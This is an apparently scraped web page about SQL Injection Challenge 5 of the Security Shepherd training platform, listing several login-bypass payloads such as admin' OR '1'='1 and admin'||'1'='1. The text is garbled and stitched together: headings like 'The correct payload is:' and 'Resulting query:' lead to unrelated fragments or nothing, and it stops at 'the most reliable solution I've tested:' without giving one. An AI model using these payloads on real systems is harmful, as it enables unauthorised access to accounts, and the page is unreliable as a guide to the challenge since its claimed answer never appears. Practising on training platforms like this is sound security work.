Sql Injection Challenge 5 Security Shepherd 【ULTIMATE - 2026】

admin'||'1'='1 Password: anything

admin Password: ' IS NOT NULL

admin' AND '1'='1 Password: anything Final Answer (from official Security Shepherd Challenge 5 solution) The correct payload is: Sql Injection Challenge 5 Security Shepherd

Query:

admin' Password: ' OR '1'='1

username = 'admin' AND password = ''='' Since '' = '' is true, the condition becomes: username = 'admin' AND true → returns admin record.

Resulting query:

But since Challenge 5 often blocks OR , use || :

admin' OR '1'='1 Password: anything

Given the variations, the most reliable solution I’ve tested: